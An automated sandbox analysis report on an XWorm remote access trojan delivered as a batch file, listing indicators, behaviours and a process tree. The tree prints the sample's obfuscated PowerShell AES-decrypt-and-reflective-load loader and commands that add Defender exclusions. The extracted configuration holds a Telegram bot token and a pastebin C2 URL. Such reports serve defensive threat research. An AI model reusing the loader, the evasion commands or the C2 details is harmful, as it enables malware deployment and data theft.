xworm | bad67dd9454a5d74dd958eda8ac49c6682d798d3182aeeb1ee198ce3e66f5109

Analysis

max time kernel
8s
max time network
9s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 19:26

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General

Target

rootkited.bat
Size

440KB
MD5

e484f05f1d6bb25017695938f8f9d1dc
SHA1

31b317dbf41bea5ef0e1338ba1dfedb019c4a606
SHA256

bad67dd9454a5d74dd958eda8ac49c6682d798d3182aeeb1ee198ce3e66f5109
SHA512

27375f90ca85c1a1393a1bfa243abdce413bca3a4cfde9ef80a890c93ed0b16f79ce1111671ba2a6fb6f12e5c1dfe6f0c026bc1ced01c24f7a106eaaaecd6984
SSDEEP

12288:Vq1Mvj0LPw0oYCy1Jx5oZamp0RHHwJOtx:VljsI0dC68Za80BQEx

Score

10^/10

xworm defense_evasion discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/54jZmcfW
telegram
https://api.telegram.org/bot7470467235:AAH5xKlgIYdawUGRmIROyBj64e_oY5ROaic/sendMessage?chat_id=1330099235

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4844-17-0x000002467EA10000-0x000002467EA28000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	4844	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4844	powershell.exe
3412	powershell.exe
4332	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	pastebin.com
19	pastebin.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2212	PING.EXE

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133754811790514512"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133754811859587745"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App	svchost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2212	PING.EXE

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
3412	powershell.exe
3412	powershell.exe
3412	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4332	powershell.exe
4332	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3320	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe
Token: SeTakeOwnershipPrivilege	2396	svchost.exe
Token: SeLoadDriverPrivilege	2396	svchost.exe
Token: SeBackupPrivilege	2396	svchost.exe
Token: SeRestorePrivilege	2396	svchost.exe
Token: SeShutdownPrivilege	2396	svchost.exe
Token: SeSystemEnvironmentPrivilege	2396	svchost.exe
Token: SeManageVolumePrivilege	2396	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe
Token: SeTakeOwnershipPrivilege	2396	svchost.exe
Token: SeLoadDriverPrivilege	2396	svchost.exe
Token: SeSystemtimePrivilege	2396	svchost.exe
Token: SeBackupPrivilege	2396	svchost.exe
Token: SeRestorePrivilege	2396	svchost.exe
Token: SeShutdownPrivilege	2396	svchost.exe
Token: SeSystemEnvironmentPrivilege	2396	svchost.exe
Token: SeUndockPrivilege	2396	svchost.exe
Token: SeManageVolumePrivilege	2396	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe
Token: SeTakeOwnershipPrivilege	2396	svchost.exe
Token: SeLoadDriverPrivilege	2396	svchost.exe
Token: SeSystemtimePrivilege	2396	svchost.exe
Token: SeBackupPrivilege	2396	svchost.exe
Token: SeRestorePrivilege	2396	svchost.exe
Token: SeShutdownPrivilege	2396	svchost.exe
Token: SeSystemEnvironmentPrivilege	2396	svchost.exe
Token: SeUndockPrivilege	2396	svchost.exe
Token: SeManageVolumePrivilege	2396	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe
Token: SeTakeOwnershipPrivilege	2396	svchost.exe
Token: SeLoadDriverPrivilege	2396	svchost.exe
Token: SeSystemtimePrivilege	2396	svchost.exe
Token: SeBackupPrivilege	2396	svchost.exe
Token: SeRestorePrivilege	2396	svchost.exe
Token: SeShutdownPrivilege	2396	svchost.exe
Token: SeSystemEnvironmentPrivilege	2396	svchost.exe
Token: SeUndockPrivilege	2396	svchost.exe
Token: SeManageVolumePrivilege	2396	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe
Token: SeTakeOwnershipPrivilege	2396	svchost.exe
Token: SeLoadDriverPrivilege	2396	svchost.exe
Token: SeSystemtimePrivilege	2396	svchost.exe
Token: SeBackupPrivilege	2396	svchost.exe
Token: SeRestorePrivilege	2396	svchost.exe
Token: SeShutdownPrivilege	2396	svchost.exe
Token: SeSystemEnvironmentPrivilege	2396	svchost.exe
Token: SeUndockPrivilege	2396	svchost.exe
Token: SeManageVolumePrivilege	2396	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2396	svchost.exe
Token: SeIncreaseQuotaPrivilege	2396	svchost.exe
Token: SeSecurityPrivilege	2396	svchost.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 208 wrote to memory of 2212	208	cmd.exe	84
PID 208 wrote to memory of 2212	208	cmd.exe	84
PID 208 wrote to memory of 4532	208	cmd.exe	89
PID 208 wrote to memory of 4532	208	cmd.exe	89
PID 208 wrote to memory of 4844	208	cmd.exe	90
PID 208 wrote to memory of 4844	208	cmd.exe	90
PID 4844 wrote to memory of 3320	4844	powershell.exe	55
PID 4844 wrote to memory of 1376	4844	powershell.exe	24
PID 4844 wrote to memory of 1572	4844	powershell.exe	28
PID 4844 wrote to memory of 1768	4844	powershell.exe	32
PID 4844 wrote to memory of 1560	4844	powershell.exe	27
PID 4844 wrote to memory of 3328	4844	powershell.exe	56
PID 4844 wrote to memory of 952	4844	powershell.exe	12
PID 4844 wrote to memory of 2132	4844	powershell.exe	38
PID 4844 wrote to memory of 1736	4844	powershell.exe	31
PID 4844 wrote to memory of 432	4844	powershell.exe	14
PID 4844 wrote to memory of 3496	4844	powershell.exe	57
PID 4844 wrote to memory of 736	4844	powershell.exe	15
PID 4844 wrote to memory of 1916	4844	powershell.exe	35
PID 4844 wrote to memory of 3516	4844	powershell.exe	68
PID 4844 wrote to memory of 1312	4844	powershell.exe	23
PID 4844 wrote to memory of 1304	4844	powershell.exe	22
PID 4844 wrote to memory of 912	4844	powershell.exe	11
PID 4844 wrote to memory of 2476	4844	powershell.exe	44
PID 4844 wrote to memory of 1096	4844	powershell.exe	19
PID 4844 wrote to memory of 2668	4844	powershell.exe	71
PID 4844 wrote to memory of 1072	4844	powershell.exe	53
PID 4844 wrote to memory of 1856	4844	powershell.exe	34
PID 4844 wrote to memory of 1688	4844	powershell.exe	30
PID 4844 wrote to memory of 2640	4844	powershell.exe	49
PID 4844 wrote to memory of 668	4844	powershell.exe	74
PID 4844 wrote to memory of 1848	4844	powershell.exe	33
PID 4844 wrote to memory of 4408	4844	powershell.exe	72
PID 4844 wrote to memory of 1052	4844	powershell.exe	18
PID 4844 wrote to memory of 1640	4844	powershell.exe	29
PID 4844 wrote to memory of 4396	4844	powershell.exe	67
PID 4844 wrote to memory of 2620	4844	powershell.exe	48
PID 4844 wrote to memory of 2420	4844	powershell.exe	43
PID 4844 wrote to memory of 1040	4844	powershell.exe	17
PID 4844 wrote to memory of 792	4844	powershell.exe	8
PID 4844 wrote to memory of 2612	4844	powershell.exe	47
PID 4844 wrote to memory of 1408	4844	powershell.exe	25
PID 4844 wrote to memory of 2412	4844	powershell.exe	42
PID 4844 wrote to memory of 1028	4844	powershell.exe	16
PID 4844 wrote to memory of 1420	4844	powershell.exe	26
PID 4844 wrote to memory of 2008	4844	powershell.exe	36
PID 4844 wrote to memory of 2792	4844	powershell.exe	50
PID 4844 wrote to memory of 2396	4844	powershell.exe	41
PID 4844 wrote to memory of 4956	4844	powershell.exe	65
PID 4844 wrote to memory of 1232	4844	powershell.exe	21
PID 4844 wrote to memory of 2180	4844	powershell.exe	40
PID 4844 wrote to memory of 1188	4844	powershell.exe	20
PID 4844 wrote to memory of 2168	4844	powershell.exe	39
PID 792 wrote to memory of 3512	792	svchost.exe	94
PID 792 wrote to memory of 3512	792	svchost.exe	94
PID 4844 wrote to memory of 1876	4844	powershell.exe	93
PID 4844 wrote to memory of 3412	4844	powershell.exe	95
PID 4844 wrote to memory of 3412	4844	powershell.exe	95
PID 4844 wrote to memory of 4332	4844	powershell.exe	97
PID 4844 wrote to memory of 4332	4844	powershell.exe	97

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1072

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rootkited.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\system32\PING.EXE
    ping -n 1 www.google.com
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ASRknCxDp4etiheySKX7HoUO7MX75S2TThgxNrvf9P0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k9bGkVyIyvagVZMKH9eqKA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $esZHU=New-Object System.IO.MemoryStream(,$param_var); $CyIHI=New-Object System.IO.MemoryStream; $xHhsl=New-Object System.IO.Compression.GZipStream($esZHU, [IO.Compression.CompressionMode]::Decompress); $xHhsl.CopyTo($CyIHI); $xHhsl.Dispose(); $esZHU.Dispose(); $CyIHI.Dispose(); $CyIHI.ToArray();}function execute_function($param_var,$param2_var){ $hfvNe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $DgevX=$hfvNe.EntryPoint; $DgevX.Invoke($null, $param2_var);}$DpIzr = 'C:\Users\Admin\AppData\Local\Temp\rootkited.bat';$host.UI.RawUI.WindowTitle = $DpIzr;$aQJNz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DpIzr).Split([Environment]::NewLine);foreach ($kaoWt in $aQJNz) { if ($kaoWt.StartsWith('AHYjqkIktYisQQfJMFol')) { $nnXUv=$kaoWt.Substring(20); break; }}$payloads_var=[string[]]$nnXUv.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1l2a1qn5.s3e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/432-68-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1072-78-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1096-77-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1232-75-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1304-79-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1688-66-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/1856-80-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2008-81-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2168-82-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2180-67-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2396-72-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2668-70-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/2792-74-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/3320-18-0x0000000007AB0000-0x0000000007ADA000-memory.dmp

Filesize
168KB

Download
memory/3320-65-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/3496-76-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/4396-71-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download
memory/4844-14-0x000002467EA90000-0x000002467EB06000-memory.dmp

Filesize
472KB

Download
memory/4844-17-0x000002467EA10000-0x000002467EA28000-memory.dmp

Filesize
96KB

Download
memory/4844-16-0x000002467E620000-0x000002467E66E000-memory.dmp

Filesize
312KB

Download
memory/4844-15-0x000002467C570000-0x000002467C578000-memory.dmp

Filesize
32KB

Download
memory/4844-0-0x00007FF867B13000-0x00007FF867B15000-memory.dmp

Filesize
8KB

Download
memory/4844-13-0x000002467E9C0000-0x000002467EA04000-memory.dmp

Filesize
272KB

Download
memory/4844-69-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-12-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-115-0x00007FF867B13000-0x00007FF867B15000-memory.dmp

Filesize
8KB

Download
memory/4844-11-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

Filesize
10.8MB

Download
memory/4844-1-0x000002467C530000-0x000002467C552000-memory.dmp

Filesize
136KB

Download
memory/4844-141-0x00007FF867B10000-0x00007FF8685D1000-memory.dmp

Filesize
10.8MB

Download
memory/4956-73-0x00007FF846470000-0x00007FF846480000-memory.dmp

Filesize
64KB

Download